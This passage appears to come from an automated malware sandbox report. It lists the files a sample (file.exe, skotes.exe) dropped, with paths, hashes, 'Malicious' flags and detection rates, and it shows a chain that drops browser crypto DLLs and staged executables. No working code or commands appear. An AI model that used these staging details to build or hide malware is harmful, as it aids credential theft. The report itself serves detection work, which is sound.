{.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtoo

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3203072
Entropy (8bit):	6.6633096603181174
Encrypted:	false
SSDEEP:	49152:UOA70JieeHKe6835VTcvvT2ZZO9ulVLqLD1cr7pjDzu+Ylhuu6UR3dvV1:3J78HTEaZM9uDQD67pK5Luu6kvV1
MD5:	CA3B6AADC4A481E7078CD2D0ABD40C73
SHA1:	EE97A73FC18F4837465AFBD988BA41B9EC689E69
SHA-256:	495F68DA6B61B305A34D5DF1B5BB0949A6EE92EC3C9954FE793206C1096A8257
SHA-512:	9F8564BB57D4F079BCF6931F5961C9D57A9243ED2D0AA68C0EB10CEE10314829ADE6C45EAE90E23C397F966B8284B0CBE2B0F349E4DDB58181297DE576AC1A08
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................0...........@.......................... 1.......1...@.................................W...k...........................$.0...............................0..................................................... . ............................@....rsrc...............................@....idata ............................@...lguoomhs.0......&.................@...cbsrczut......0.......0.............@....taggant.0....0.."....0.............@...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3144704
Entropy (8bit):	6.62234454748135
Encrypted:	false
SSDEEP:	49152:hFdJuFaRaws4ui2uACLyimFRRWG6mQLlnmYXpc6:qFaRaws4ugAIM0ln9
MD5:	6963C46D550E4A55047DC1C8C490CE2C
SHA1:	58F06AF14FBEE9C8FD7CF40C9A16E7698F66AF59
SHA-256:	9A27AFA39DF29F83E264AB637C09F5E9C9BC9111A40095EC92782C3390DD9518
SHA-512:	A096116CC98DD9B8CE5EB923705B5AFF30F79BB24006E50407B8E863E7F0643F11D8C879A4FF531E3347E4594DCC174B198BF938D179ADEF00BCB51A0A7E34E0
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 29%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...C.2g..............................0...........@..........................@0.....2?0...@.................................TP..h............................Q...................................................................................... . .0.......0..................@....rsrc .....@.......@..............@....idata .....P.......@..............@...pcnbbtdp....`......B..............@...swjacpww......0......./.............@....taggant.0....0.."..../.............@...........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3144704
Entropy (8bit):	6.62234454748135
Encrypted:	false
SSDEEP:	49152:hFdJuFaRaws4ui2uACLyimFRRWG6mQLlnmYXpc6:qFaRaws4ugAIM0ln9
MD5:	6963C46D550E4A55047DC1C8C490CE2C
SHA1:	58F06AF14FBEE9C8FD7CF40C9A16E7698F66AF59
SHA-256:	9A27AFA39DF29F83E264AB637C09F5E9C9BC9111A40095EC92782C3390DD9518
SHA-512:	A096116CC98DD9B8CE5EB923705B5AFF30F79BB24006E50407B8E863E7F0643F11D8C879A4FF531E3347E4594DCC174B198BF938D179ADEF00BCB51A0A7E34E0
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 29%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...C.2g..............................0...........@..........................@0.....2?0...@.................................TP..h............................Q...................................................................................... . .0.......0..................@....rsrc .....@.......@..............@....idata .....P.......@..............@...pcnbbtdp....`......B..............@...swjacpww......0......./.............@....taggant.0....0.."..../.............@...........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1005773001\c41846ccfb.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1795072
Entropy (8bit):	7.946273941198969
Encrypted:	false
SSDEEP:	49152:PQAe6ZYP45NvOoWz7BJefHtK3MNPuJAjfIYDDE:5e6Zx7tWJJ+Nxt0ArbE
MD5:	9AD1DC3F66828CD80DD118BD50CE909E
SHA1:	9F5E105CBB3C8B6CDE813B03150A12BCA2391560
SHA-256:	39DB6939E03C7CD0DC5D8DC9944C2B2C1720DB9AE2749BE170355021C072DD33
SHA-512:	C8A69B549B2D83CD29B25544CB2CF5497227B4C9EBBB28C269E60127336DF26D88B76984C37C46BFB1EF0BB8A2C8E0AC558F932B9C017EA0AB9521CE3E79BE72
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 34%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........8..k..k..k.'k..k..k..k.&k..k...k..k...k..k...j..k..k..k.#k..k..k..kRich..k........................PE..L...O./g.....................@".......h...........@...........................h.....5l....@.................................M.$.a.............................$..................................................................................... . ..$......b..................@....rsrc ......$......r..............@....idata ......$......r..............@... ..*...$......t..............@...oweoibkj......N......v..............@...uwilijgs......h......>..............@....taggant.0....h.."...B..............@...................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\21360134-6a2d-42e3-8b89-1c4a54237bca.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\3a650383-8f62-4d7a-9c8a-99a25aed3e78.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\5d5d22cd-379d-46f3-9e64-da3ddd678841.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 41924
Category:	dropped
Size (bytes):	76314
Entropy (8bit):	7.996159328201069
Encrypted:	true
SSDEEP:	1536:fFZ2cHkObrS5Vvm808scZeEzFrSpzBUl4MZIGM/iysAGz88:fbb1UdS8scZNzFrMa4M+lKqeZ
MD5:	703D592C85D2790D89047C1614A54B4F
SHA1:	0C08F096AD544A63ACE8AA1AA738CC0B374F2A23
SHA-256:	A01513000969824FA1761DCDD77F5EE9B6FD958B4E9596522CEBC47BB69DF194
SHA-512:	D0C0F0B0A060D3DD52942556615B93971292E1F0C10555681CB6E4857E605EB2CFBACBADD263FB954D4062A63BBCCCB4B514428FDB95F6C0C94CC221B28B1ED5
Malicious:	false
Preview:	...........}io.8..w... @..S..=.X.v.^$..e..0..r.ek.,.+..x..._..$."..:.....]E>7..x..z...?..7t.s.....!/.."..}../....u...^..\|{...B...]....q....Znh....;B.u....r.z..._.w~p.}<......B.....}k.........a....ur......:.E.~..f7!.....c....V.Z.."..._Q..m....?..q.......{;.V.g.".i..<.r=.9.>...}^.Ykw....\,. .. .<YkL........C...........m.'....0O....g.?.8C............x.........=YO.......`.<....o..=..he..AaHy@g....z.)C..G....[.@.........x.......O...c..H..5..}..5$?.:....7g.....M~....4....u..P...c...S..w.(.2N['......&..v...."p.#..Z.F.<'._........&~CA......Z....p......>.o......m.(....a_%F.}r\|\|z.m...1..8....p.-..4'.O....S0..f<.n...KP<.fd.....-w[B..%....Z!..H...C..CB+J)Ef.t[;.1.?.Q.j{.....*.y...>Y.......Me..Vx!.._...(>.......>.j.%.(..%]...E...~.p......tp.P.3........W>V&.J.s.]..../~.^.....u.X.1.J.6..8.^...Q.a8".z}....\|.V.M".+..y.-...r..b..'k..9..~.@g3.:..n....M....s.T.#\|.Vd.../..K<...^...p......X.5..6..F..".tO...........o}......}...D..`o....<..(....?..y.JQ.....F01a

C:\Users\user\AppData\Local\Temp\75fe5522-600c-428f-9ee3-db991e5d3a10.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	135771
Entropy (8bit):	7.802585890890899
Encrypted:	false
SSDEEP:	3072:LtlntxI0jRnnf4pTz8IayMaCRABlauflM+u0F/oWRW:pl4+hf4pTky1EABYufNFS4W
MD5:	DA75BB05D10ACC967EECAAC040D3D733
SHA1:	95C08E067DF713AF8992DB113F7E9AEC84F17181
SHA-256:	33AE9B8F06DC777BB1A65A6BA6C3F2A01B25CD1AFC291426B46D1DF27EA6E7E2
SHA-512:	56533DE53872F023809A20D1EA8532CDC2260D40B05C5A7012C8E61576FF092F006A197F759C92C6B8C429EEEC4BB542073B491DDCFD5B22CD4ECBE1A8A7C6EF
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[...........=.B.../EYp....i:........ua....w...\H.j....b....4...l.b.:u.%1z....}L.A.F.IZ.2^.j...!F.&@;L..z...02..`:J_@....m....qcQ.\|sD.r`vC.#.8lm...R.8.~A...."~)".[.M...o.a.H.$..(.d/.K.6......c........#.$..>.#..3..-...n4J.$-....N...s.G...3..q.e..(.B?."...9M......[0Y0....H.=....*.H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...H0F.!..w./B..$<......r-.'..xp.H..Q...8.!..R^...%..W0....q....g.D..~.".%............mo.:......<#a..e...Chp...x4z....!.!.a...qgo....p8.T.6...Z....?..CV...<..K...?....k..........q=....Y^........!..K...G...m.n..Y.Y.......u.Wf...TO".?.......U/Rd..Y....j....H..Q...{.....x.OQ.~+}...L.9_.:.,E.....q.0&...I;b..H...>...9.}.B

C:\Users\user\AppData\Local\Temp\9214e0d8-dd72-40d7-acea-14ed117d4bfa.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JPEG image data, comment: "Lavc59.36.100", baseline, precision 8, 1280x720, components 3
Category:	dropped
Size (bytes):	1566655
Entropy (8bit):	7.992980705683845
Encrypted:	true
SSDEEP:	24576:2lO16G1sT5gbVdbc//rI78KDrj3/9QHgBFvsCf5k/pRHtptcGf79BO7kmeg5A0iB:2lO1T1e2pdbcrjq/3/CAb0CfgRdc4kev
MD5:	B19C4A7E299EA3AF6114387603F25C1B
SHA1:	D2323A51D2ACAD954EF0FC1947D35EA09BED0244
SHA-256:	E54B5EA59413C24021690A6A6176C3B5E0DBF0640E760161773C692702A02511
SHA-512:	FEB4B87E5C0C5E5CDC2A4BA238E86DA9E05F921441F3DB8D4D3BBD73BCE2BA1C703372C3D9433E14E5F85D232ED2CD0324F5B3180277317739023869B87C4535
Malicious:	false
Preview:	.....XICC_PROFILE......HLino....mntrRGB XYZ .........1..acspMSFT....IEC sRGB.......................-HP ................................................cprt...P...3desc.......lwtpt........bkpt........rXYZ........gXYZ...,....bXYZ...@....dmnd...T...pdmdd........vued...L....view.......$lumi........meas.......$tech...0....rTRC...<....gTRC...<....bTRC...<....text....Copyright (c) 1998 Hewlett-Packard Company..desc........sRGB IEC61966-2.1............sRGB IEC61966-2.1..................................................XYZ .......Q........XYZ ................XYZ ......o...8.....XYZ ......b.........XYZ ......$.........desc........IEC http://www.iec.ch............IEC http://www.iec.ch..............................................desc........IEC 61966-2.1 Default RGB colour space - sRGB............IEC 61966-2.1 Default RGB colour space - sRGB......................desc.......,Reference Viewing Condition in IEC61966-2.1...........,Reference Viewing Condition in IEC61966-2.1..........................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\DocumentsGHIJJEGDBF.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3203072
Entropy (8bit):	6.6633096603181174
Encrypted:	false
SSDEEP:	49152:UOA70JieeHKe6835VTcvvT2ZZO9ulVLqLD1cr7pjDzu+Ylhuu6UR3dvV1:3J78HTEaZM9uDQD67pK5Luu6kvV1
MD5:	CA3B6AADC4A481E7078CD2D0ABD40C73
SHA1:	EE97A73FC18F4837465AFBD988BA41B9EC689E69
SHA-256:	495F68DA6B61B305A34D5DF1B5BB0949A6EE92EC3C9954FE793206C1096A8257
SHA-512:	9F8564BB57D4F079BCF6931F5961C9D57A9243ED2D0AA68C0EB10CEE10314829ADE6C45EAE90E23C397F966B8284B0CBE2B0F349E4DDB58181297DE576AC1A08
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................0...........@.......................... 1.......1...@.................................W...k...........................$.0...............................0..................................................... . ............................@....rsrc...............................@....idata ............................@...lguoomhs.0......&.................@...cbsrczut......0.......0.............@....taggant.0....0.."....0.............@...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\b3fc4cef-ac56-4048-a88c-b2bd9fde2ad6.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\b669af20-e995-40b5-95be-2b6f7d23dbf7.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1366x720, components 3
Category:	dropped
Size (bytes):	206855
Entropy (8bit):	7.983996634657522
Encrypted:	false
SSDEEP:	3072:5WcDW3D2an0GMJGqJCj+1ZxdmdopHjHTFYPQyairiVoo4XSWrPoiXvJddppWmEI5:l81Lel7E6lEMVo/S01fDpWmEgD
MD5:	788DF0376CE061534448AA17288FEA95
SHA1:	C3B9285574587B3D1950EE4A8D64145E93842AEB
SHA-256:	B7FB1D3C27E04785757E013EC1AC4B1551D862ACD86F6888217AB82E642882A5
SHA-512:	3AA9C1AA00060753422650BBFE58EEEA308DA018605A6C5287788C3E2909BE876367F83B541E1D05FE33F284741250706339010571D2E2D153A5C5A107D35001
Malicious:	false
Preview:	......Exif..II.................Ducky.......2......Adobe.d...........................................................#"""#''''''''''..................................................!! !!''''''''''........V.."....................................................................................!1..AQ..aq."2....R..T....Br.#S.U..b..3Cs...t6.c.$D.5uV...4d.E&....%F......................!1..AQaq....."2......BRbr3CS....#..4.............?......1f.n..T......TP....E...........P.....@.........E..@......E.P........@........E.....P.P..A@@.E..@.P.P..AP.P..AP..@....T..AP.E..P.Z .. ....."... .....7.H...w.....t.....T....M.."... P..n.n..t5..B.P..(......................................( .................... .".... .".......(.. ."....... ....o......E.6... ....."........."J......Ah......@.@@....:@{6..wCp..3...((.(.........................@..(...."............................ ........T.......@.@@........AP.P..@.E@....E@.d.E@.@@..@.P.T..@..@..P.D...@M........EO..."...=.wCp.....R......P.@......

C:\Users\user\AppData\Local\Temp\cv_debug.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	5.404144206888458
Encrypted:	false
SSDEEP:	48:Y4MfJVe5wMd5wMe07cIF5Io0MY5kU2A0OpJ5xnL0MotJ5VovUx0ZF5B00HX5M:JIVuwEw5MUFZLBQLtGBM
MD5:	1A4FC2400B9D973C54AB0E8518739EE6
SHA1:	EE0AB05BC86FC3C233C82598802E9926C077C35E
SHA-256:	F41391DEB957E3F32340BD02D1DB881EF505706C3F7AE3C5C2EC81133F3361B4
SHA-512:	574E45D7F2B5BDC65C860A1FB9F815E8A4D8BCB1FE00FB2AF33DED20B7FBE826C2FE6F1B5297FFC270EDAA5BA564B61BC919E3845730B00C2DAD3AB44DF895EA
Malicious:	false
Preview:	{"logTime": "1005/061810", "correlationVector":"0kV+/vRB8ay0a3Cue7mk6o","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/061810", "correlationVector":"AFo3IfjRT+3l4ojiXpMdNH","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/061810", "correlationVector":"838E3BF9A44F456CB4AD62AC737EDD15","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/063233", "correlationVector":"2N8fwTcZh6EtTfQ8o4+6aX","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/063233", "correlationVector":"5ADEBA42608E4CC9A1FACA719F284CF9","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/063346", "correlationVector":"xp/hBMCdVPtUIxZHIviv/x","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/063347", "correlationVector":"BF0B9E58C0CC45ED9AB5D0371131E69A","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/064305", "correlationVector":"ONVjsWDap1LyjIRdxsqPGs","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/064305", "correlationVector":"82E52491

C:\Users\user\AppData\Local\Temp\scoped_dir8000_354072984\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	5.8889033066924155
Encrypted:	false
SSDEEP:	48:Pxpr7Xka2NXDpfsBJODI19Kg1JqcJW9O//JE3ZBDcpu/x:L3XgNSz9/4kIO3u3Xgpq
MD5:	738E757B92939B24CDBBD0EFC2601315
SHA1:	77058CBAFA625AAFBEA867052136C11AD3332143
SHA-256:	D23B2BA94BA22BBB681E6362AE5870ACD8A3280FA9E7241B86A9E12982968947
SHA-512:	DCA3E12DD5A9F1802DB6D11B009FCE2B787E79B9F730094367C9F26D1D87AF1EA072FF5B10888648FB1231DD83475CF45594BB0C9915B655EE363A3127A5FFC2
Malicious:	false
Preview:	[.. {.. "description": "treehash per file",.. "signed_content": {.. "payload": "eyJpdGVtX2lkIjoiam1qZmxnanBjcGVwZWFmbW1nZHBma29na2doY3BpaGEiLCJpdGVtX3ZlcnNpb24iOiIxLjIuMSIsInByb3RvY29sX3ZlcnNpb24iOjEsImNvbnRlbnRfaGFzaGVzIjpbeyJmb3JtYXQiOiJ0cmVlaGFzaCIsImRpZ2VzdCI6InNoYTI1NiIsImJsb2NrX3NpemUiOjQwOTYsImhhc2hfYmxvY2tfc2l6ZSI6NDA5NiwiZmlsZXMiOlt7InBhdGgiOiJjb250ZW50LmpzIiwicm9vdF9oYXNoIjoiQS13R1JtV0VpM1lybmxQNktneUdrVWJ5Q0FoTG9JZnRRZGtHUnBEcnp1QSJ9LHsicGF0aCI6ImNvbnRlbnRfbmV3LmpzIiwicm9vdF9oYXNoIjoiVU00WVRBMHc5NFlqSHVzVVJaVTFlU2FBSjFXVENKcHhHQUtXMGxhcDIzUSJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJKNXYwVTkwRmN0ejBveWJMZmZuNm5TbHFLU0h2bHF2YkdWYW9FeWFOZU1zIn1dfV19",.. "signatures": [.. {.. "header": {.. "kid": "publisher".. },.. "protected": "eyJhbGciOiJSUzI1NiJ9",.. "signature": "UglEEilkOml5P1W0X6wc-_dB87PQB73uMir11923av57zPKujb4IUe_lbGpn7cRZsy6x-8i9eEKxAW7L2TSmYqrcp4XtiON6ppcf27FWACXOUJDax9wlMr-EOtyZhykCnB9vR
